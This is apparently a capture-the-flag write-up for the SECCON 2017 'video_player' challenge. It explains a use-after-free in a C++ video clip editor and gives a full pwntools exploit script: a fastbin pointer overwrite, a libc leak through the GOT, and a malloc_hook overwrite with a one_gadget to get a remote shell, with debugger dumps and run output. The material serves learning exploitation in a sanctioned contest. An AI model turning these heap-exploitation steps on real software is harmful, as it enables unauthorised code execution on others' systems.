video_player (30 solves) (500 points)
video_player Is my video player good enough??
Host : video_player.pwn.seccon.jp Port : 7777
Attachment: video_player.zip (pw: seccon2017) xpl.py
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Welcome to SVP ( SECCON Video Player ) !!!
What is your movie name?
AAAABBBB
1. Add Clip
2. Edit Clip
3. Play Clip
4. Remove Clip
>>>
The binary lets us create different clips (video, audio, subtitles, metadata), edit them and play (video and audio only).
Playing a clip is basically just printing it to the screen xor
ed with a constant byte, so this might become useful for leaking data.
While reversing the binary, you’ll quickly stumble over a “heap initialization” method, which looks a bit scary at first.
int randomize_heap()
{
void *chunk_table[513];
unsigned int seed_value;
int fd;
if ( (fd = open("/dev/urandom", 0)) < 0)
exit(1);
if ( read(fd, &seed_value, 4) != 4 )
exit(1);
close(fd);
srand(seed_value);
// Create randomly sized chunks on the heap
for (int i = 0; i <= 255; ++i )
chunk_table[i] = (void *)operator new[](rand());
// Remove random chunks from the heap
for (int i = 0; i <= 255; ++i )
{
if ( (rand() % 3 == 0 ) && ( chunk_table[i] ) )
operator delete[](chunk_table[i]);
chunk_table[i] = 0LL;
}
}
When this bummer is through, the heap will be quite cluttered. This will render any heap leaks useless, since even if we knew an address on the heap, there’s no way to conclude any other chunk addresses from this, since there will be many random gaps between the chunks.
On the other side, it indicates, that we won’t need to care about finding heap leaks at all, so this also has a bright side :).
Since it’s a C++ binary, there are a lot of structs and virtual functions to reverse, so reversing the complete binary was a little bit time consuming. And in the end, it turned out, that the VideoClip
class is all we need, to pwn this binary.
The clip base class and the video clip class should look like this:
class Clip {
public:
Clip() {}
virtual void Edit() {}
virtual void Delete() {}
virtual void Play() {}
};
class VideoClip : Clip {
private:
long Resolution;
int FPS;
int Length;
char *Data;
char Description[48];
public:
VideoClip() : Clip() { ... }
void Edit() { ... }
void Delete() { ... }
void Play() { ... }
};
class AudioClip : Clip {
private:
short Bitrate;
short Length;
char *Data;
char *Description[48];
public:
AudioClip() : Clip() { ... }
void Edit() { ... }
void Delete() { ... }
void Play() { ... }
}
class SubtitleClip : Clip {
...
}
class MetadataClip : Clip {
...
}
When going through the code, most of the virtual functions for the different clips look quite similar, but there’s one small discrepancy in the Edit
method for the video clip.
Edit
method of AudioClip (skipped the exit
calls for better readability):
bool AudioClip::Edit()
{
char* ptrData;
cout<<"Audio Bitrate : ";
read(0, &Bitrate, 2);
cout<<"Audio Length (seconds) : ");
read(0, &Length, 4);
if (Length > 256)
Length = 256;
// Allocate memory for the clip data
ptrData = new char[Length];
// If the clip already contains data, free it
if (Data)
delete[](Data);
// Assign new allocated memory to data ptr
Data = ptrData;
cout<<"Audio Data : ";
Length = read(0, Data, Length);
memset(&Description, 0, 48);
cout<<"Edit description : ";
read(0, &Description, 47);
return true;
}
So, everything is looking fine. The function allocates some memory, frees the possible already existing data pointer, and then reads in the data for this clip.
Now, let’s take a look at the Edit
method for video clips:
bool VideoClip::Edit()
{
char* ptrData;
cout<<"Video Resolution : ";
read(0, &Resolution, 8);
cout<<"FPS : ";
read(0, &FPS, 4);
cout<<"Number of Frames : ";
read(0, &Length, 4);
if (Length > 1024)
Length = 1024;
// Allocate memory for the clip data
ptrData = new char[Length];
// Assign new allocated memory to data ptr
Data = ptrData;
// Wait... what???
if (Data)
delete[](Data);
cout<<"Video Data : ";
Length = read(0, Data, Length);
memset(&Description, 0, 0x48);
cout<<"Edit description : ";
if (read(0, &Description, 47) <= 0)
return false;
return true;
}
The edit
function of VideoClip
also allocates memory for its content and uses the same method as AudioClip
but the order of the 3 steps (Allocate, free existing, assign new chunk) is mixed up.
Thus, it allocates a new chunk for the video data, assigns it to clip->Data
and AFTER that, it frees clip->Data
, which is now containing a dangling pointer to the freed memory chunk. Use-After-Free, all we need to get to our flag :)
So first, we’ll have to create a video clip and edit it afterwards. The creation of the clips is a bit awkward, since it doesn’t read the values as numbers, which get converted with atoi
, but reads them directly into the class members instead. So we have to specify them as packed values.
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "video_player.pwn.seccon.jp"
PORT = 7777
def add_video_clip(res, fps, num, data, desc):
r.sendline("1")
r.sendlineafter(">>> ", "1")
r.sendafter(": ", p64(res))
r.sendafter(": ", p32(fps))
r.sendafter(": ", p32(num))
r.sendafter(": ", data)
r.sendlineafter(": ", desc)
r.recvuntil(">>> ")
def edit_video_clip(idx, res, fps, num, data, desc):
r.sendline("2")
r.sendlineafter("Enter index : ", str(idx))
r.sendafter(": ", p64(res))
r.sendafter(": ", p32(fps))
r.sendafter(": ", p32(num))
r.sendafter(": ", data)
r.sendlineafter(": ", desc)
r.recvuntil(">>> ")
def exploit(r):
r.recvline()
r.sendline("A"*100)
r.recvuntil(">>> ")
log.info("Create initial video (data => fastbin size)")
add_video_clip(100, 20, 100, "C"*100, "B"*16)
log.info("Edit video for UAF (overwrite fastbin FD")
edit_video_clip(0, 100, 20, 100, p64(0x6043e5), "B"*16)
r.interactive()
return
if __name__ == "__main__":
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
exploit(r)
else:
LOCAL = False
if LOCAL:
r = process("./video_player")
else:
r = process("./video_player", env={"LD_PRELOAD" : "./libc.so.6"})
print util.proc.pidof(r)
pause()
exploit(r)
In Edit
, the binary will allocate a chunk for holding our data, freeing it directly afterwards (thus putting it into the fastbin list) and then read our input into this chunk (effectively overwriting the FD pointer of the freed fastbin chunk).
When we now allocate another fastbin with the same size, it will put our fake FD
pointer into the fastbin list, so we can control where malloc
allocates the next chunk (of this size). We only need something, that looks like a fastbin.
We’ll be using the misalignment trick (often used for overwriting malloc_hook
), to get a chunk overlapping the clip array
.
gdb-peda$ x/10gx $cliptable-0x20
0x6043e0 <vtable for __cxxabiv1::__si_class_type_info+80>: 0x00007ffff7720760 0x00007ffff7dd4620
0x6043f0: 0x0000000000000000 0x0000000000000000
0x604400: 0x000000000063e8a0 0x0000000000000000
0x604410: 0x0000000000000000 0x0000000000000000
0x604420: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/10gx $cliptable-0x20+5
0x6043e5 <vtable for __cxxabiv1::__si_class_type_info+85>: 0xfff7dd462000007f 0x000000000000007f <== Fake chunksize (fastbin)
0x6043f5: 0x0000000000000000 0x000063e8a0000000
0x604405: 0x0000000000000000 0x0000000000000000
0x604415: 0x0000000000000000 0x0000000000000000
0x604425: 0x0000000000000000 0x0000000000000000
By using 0x6043e5
as fake FD
pointer, we can trick malloc into recognizing this as a valid fastbin chunk and serving it as the data pointer for our next video clip.
log.info("Add video to get fake fastbin FD to fastbin list")
add_video_clip(100, 20, 104, "C"*104, "B"*16)
We’ll now just create a dummy video clip. This will allocate the freed chunk from our previous video, putting our fake FD
pointer into the fastbin list. The next video will then overwrite the area of clip array
.
Since we don’t know any heap addresses, we can use this overwrite to migrate all data to the bss
section, creating fake chunks there and point the clip array
to our fake chunks. Thus, we don’t need to worry about the heap and its randomization anymore.
log.info("Add video to overwrite fastbin content (bss)")
payload = "\x00"*11
# Clip table
payload += p64(0x604420) + p64(0x0) # Pointer to fake video chunk
payload += p64(0x0) + p64(0x0)
# Fake video chunk
payload += p64(0x402968) + p64(0x0000000000000064) # VTable + Resolution
payload += p32(0x00000014) # FPS
payload += p32(0x00000006) # Length
payload += p64(e.got["rand"]) # Data Ptr
add_video_clip(100, 20, 104, payload , "B"*16)
gdb-peda$ x/40gx $cliptable
0x604400: 0x0000000000604420 0x0000000000000000 <== Pointer to fake video chunk
0x604410: 0x0000000000000000 0x0000000000000000
0x604420: 0x0000000000402968 0x0000000000000064 <== Fake video chunk
0x604430: 0x0000000600000014 0x00000000006040b8 <== Pointer to
0x604440: 0x0000000000000000 0x0000000000000000
0x604450: 0x0000000000000000 0x0000000000000000
0x604460: 0x0000000000000000 0x0000000000000000
Index 0 of the clip array
now points to our fake video chunk. The Length
for our clip is set to 6
and the Data
ptr points to rand
got entry.
With this set up, we can leak the content of rand got
by playing this clip.
void VideoClip::Play()
{
cout<<"Playing video..."<<endl;
for (int i = 0; Length >= i; ++i )
cout<<(char)(Data[i] ^ 0xcc);
cout<<endl;
}
The Play
method prints out the content of Data
while xor
ing every byte with 0xcc
, so we decode the leaked data by just xor
ing it again.
def play_video_clip(idx):
r.sendline("3")
r.sendlineafter("Enter index : ", str(idx))
r.recvline()
LEAK = r.recvline()[:-1]
r.recvuntil(">>> ")
return LEAK
log.info("Leak value of rand got entry")
RAND = play_video_clip(0)
RAND = u64(''.join(map(lambda x: chr(ord(x) ^ 0xcc), RAND)).ljust(8, "\x00"))
libc = ELF("./libc.so.6")
libc.address = RAND - libc.symbols["rand"]
log.info("RAND : %s" % hex(RAND))
log.info("LIBC : %s" % hex(libc.address))
So, we have the libc address and since we can just do an UAF
agin, we still have an arbitrary write. With libc known, malloc_hook
is a good target using one_gadget
to get a shell.
Again, we’ll be placing a misaligned FD pointer in another video clip.
gdb-peda$ x/20gx 0x7ffff7dd3b20-0x30
0x7ffff7dd3af0: 0x00007ffff7dd2260 0x0000000000000000
0x7ffff7dd3b00: 0x00007ffff7a94e20 0x00007ffff7a94a00
0x7ffff7dd3b10: 0x0000000000000000 0x0000000000000000 <== malloc_hook
0x7ffff7dd3b20: 0x0000000000000000 0x000000000063fd00 <== main_arena
0x7ffff7dd3b30: 0x000000000063f300 0x000000000063bd90
0x7ffff7dd3b40: 0x000000000063dee0 0x0000000000639720
0x7ffff7dd3b50: 0x0000000000000000 0x000000000063fac0
gdb-peda$ x/20gx 0x7ffff7dd3b20-0x28-11
0x7ffff7dd3aed: 0xfff7dd2260000000 0x000000000000007f <== fake fastbin chunk size
0x7ffff7dd3afd: 0xfff7a94e20000000 0xfff7a94a0000007f
0x7ffff7dd3b0d: 0x000000000000007f 0x0000000000000000
0x7ffff7dd3b1d: 0x0000000000000000 0x000063fd00000000 <== malloc_hook (somewhere ;))
0x7ffff7dd3b2d: 0x000063f300000000 0x000063bd90000000
0x7ffff7dd3b3d: 0x000063dee0000000 0x0000639720000000
MAIN_ARENA = libc.address + 0x3c4b20
MALLOC_TARGET = MAIN_ARENA - 0x28 - 11
ONE_GADGET = libc.address + 0x4526a
log.info("MAIN ARENA : %s" % hex(MAIN_ARENA))
log.info("MALLOC_TARGET : %s" % hex(MALLOC_TARGET))
log.info("Create malloc overwrite video (data fastbin)")
add_video_clip(100, 20, 100, "C" * 100, "B" * 16)
log.info("Edit video for UAF (overwrite fastbin FD")
edit_video_clip(0, 100, 20, 100, p64(MALLOC_TARGET), "B" * 16)
log.info("Add video to get fake fastbin FD to fastbin list")
add_video_clip(100, 20, 104, "C" * 104, "B" * 16)
log.info("Add video to overwrite malloc hook")
payload = "A" * 19
payload += p64(ONE_GADGET)
add_video_clip(100, 20, 104, payload, "B" * 16)
All there’s left to do, is creating another video, which will call malloc
. This will trigger malloc_hook
, effectively calling our one_gadget
…
log.info("Add a clip to trigger shell")
r.sendline("1\n1")
r.recvuntil(">>> ")
r.interactive()
$ python xpl.py 1
[*] '/home/ubuntu/video_player'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to video_player.pwn.seccon.jp on port 7777: Done
[*] Create initial video (data => fastbin size)
[*] Edit video for UAF (overwrite fastbin FD
[*] Add video to get fake fastbin FD to fastbin list
[*] Add video to overwrite fastbin content (bss)
[*] Leak value of rand got entry
[*] '/home/ubuntu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] RAND : 0x7fa2f6db2f60
[*] LIBC : 0x7fa2f6d78000
[*] MAIN ARENA : 0x7fa2f713cb20
[*] MALLOC_TARGET : 0x7fa2f713caed
[*] Create malloc overwrite video (data fastbin)
[*] Edit video for UAF (overwrite fastbin FD
[*] Add video to get fake fastbin FD to fastbin list
[*] Add video to overwrite malloc hook
[*] Add a clip to trigger shell
[*] Switching to interactive mode
$ cat home/chal/flag.txt
SECCON{Mommy_I_am_scared_to_go_on_stage!!}